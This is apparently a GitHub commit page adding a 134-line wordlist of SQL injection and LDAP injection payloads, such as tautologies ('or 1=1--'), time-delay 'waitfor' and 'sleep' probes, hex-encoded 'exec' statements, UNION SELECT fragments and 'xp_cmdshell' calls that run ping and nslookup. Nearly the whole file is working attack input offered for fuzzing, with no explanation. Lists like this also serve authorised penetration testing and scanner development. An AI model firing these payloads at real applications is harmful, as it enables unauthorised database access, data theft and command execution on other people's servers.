-
Notifications
You must be signed in to change notification settings - Fork 5
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
134 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,134 @@ | ||
' | ||
a' or 1=1-- | ||
"a"" or 1=1--" | ||
or a = a | ||
a' or 'a' = 'a | ||
1 or 1=1 | ||
a' waitfor delay '0:0:10'-- | ||
1 waitfor delay '0:0:10'-- | ||
declare @q nvarchar (200) select @q = 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A0031003000270000 exec(@q) | ||
declare @s varchar(200) select @s = 0x77616974666F722064656C61792027303A303A31302700 exec(@s) | ||
declare @q nvarchar (200) 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q) | ||
declare @s varchar (200) select @s = 0x73656c65637420404076657273696f6e exec(@s) | ||
a' | ||
? | ||
' or 1=1 | ||
or 1=1 -- | ||
x' AND userid IS NULL; -- | ||
x' AND email IS NULL; -- | ||
anything' OR 'x'='x | ||
x' AND 1=(SELECT COUNT(*) FROM tabname); -- | ||
x' AND members.email IS NULL; -- | ||
x' OR full_name LIKE '%Bob% | ||
23 OR 1=1 | ||
'; exec master..xp_cmdshell 'ping 172.10.1.255'-- | ||
' | ||
'%20or%20''=' | ||
'%20or%20'x'='x | ||
%20or%20x=x | ||
')%20or%20('x'='x | ||
0 or 1=1 | ||
' or 0=0 -- | ||
" or 0=0 -- | ||
or 0=0 -- | ||
' or 0=0 # | ||
or 0=0 #" | ||
or 0=0 # | ||
' or 1=1-- | ||
" or 1=1-- | ||
' or '1'='1'-- | ||
' or 1 --' | ||
or 1=1-- | ||
or%201=1 | ||
or%201=1 -- | ||
' or 1=1 or ''=' | ||
or 1=1 or ""= | ||
' or a=a-- | ||
or a=a | ||
') or ('a'='a | ||
) or (a=a | ||
hi or a=a | ||
hi or 1=1 --" | ||
hi' or 1=1 -- | ||
hi' or 'a'='a | ||
hi') or ('a'='a | ||
"hi"") or (""a""=""a" | ||
'hi' or 'x'='x'; | ||
@variable | ||
,@variable | ||
PRINT @@variable | ||
select | ||
insert | ||
as | ||
or | ||
procedure | ||
limit | ||
order by | ||
asc | ||
desc | ||
delete | ||
update | ||
distinct | ||
having | ||
truncate | ||
replace | ||
like | ||
handler | ||
bfilename | ||
' or username like '% | ||
' or uname like '% | ||
' or userid like '% | ||
' or uid like '% | ||
' or user like '% | ||
exec xp | ||
exec sp | ||
'; exec master..xp_cmdshell | ||
'; exec xp_regread | ||
t'exec master..xp_cmdshell 'nslookup www.google.com'-- | ||
--sp_password | ||
\x27UNION SELECT | ||
' UNION SELECT | ||
' UNION ALL SELECT | ||
' or (EXISTS) | ||
' (select top 1 | ||
'||UTL_HTTP.REQUEST | ||
1;SELECT%20* | ||
to_timestamp_tz | ||
tz_offset | ||
<>"'%;)(&+ | ||
'%20or%201=1 | ||
%27%20or%201=1 | ||
%20$(sleep%2050) | ||
%20'sleep%2050' | ||
char%4039%41%2b%40SELECT | ||
'%20OR | ||
'sqlattempt1 | ||
(sqlattempt2) | ||
| | ||
%7C | ||
*| | ||
%2A%7C | ||
*(|(mail=*)) | ||
%2A%28%7C%28mail%3D%2A%29%29 | ||
*(|(objectclass=*)) | ||
%2A%28%7C%28objectclass%3D%2A%29%29 | ||
( | ||
%28 | ||
) | ||
%29 | ||
& | ||
%26 | ||
! | ||
%21 | ||
' or 1=1 or ''=' | ||
' or ''=' | ||
x' or 1=1 or 'x'='y | ||
/ | ||
// | ||
//* | ||
*/* | ||
a' or 3=3-- | ||
"a"" or 3=3--" | ||
' or 3=3 | ||
or 3=3 -- |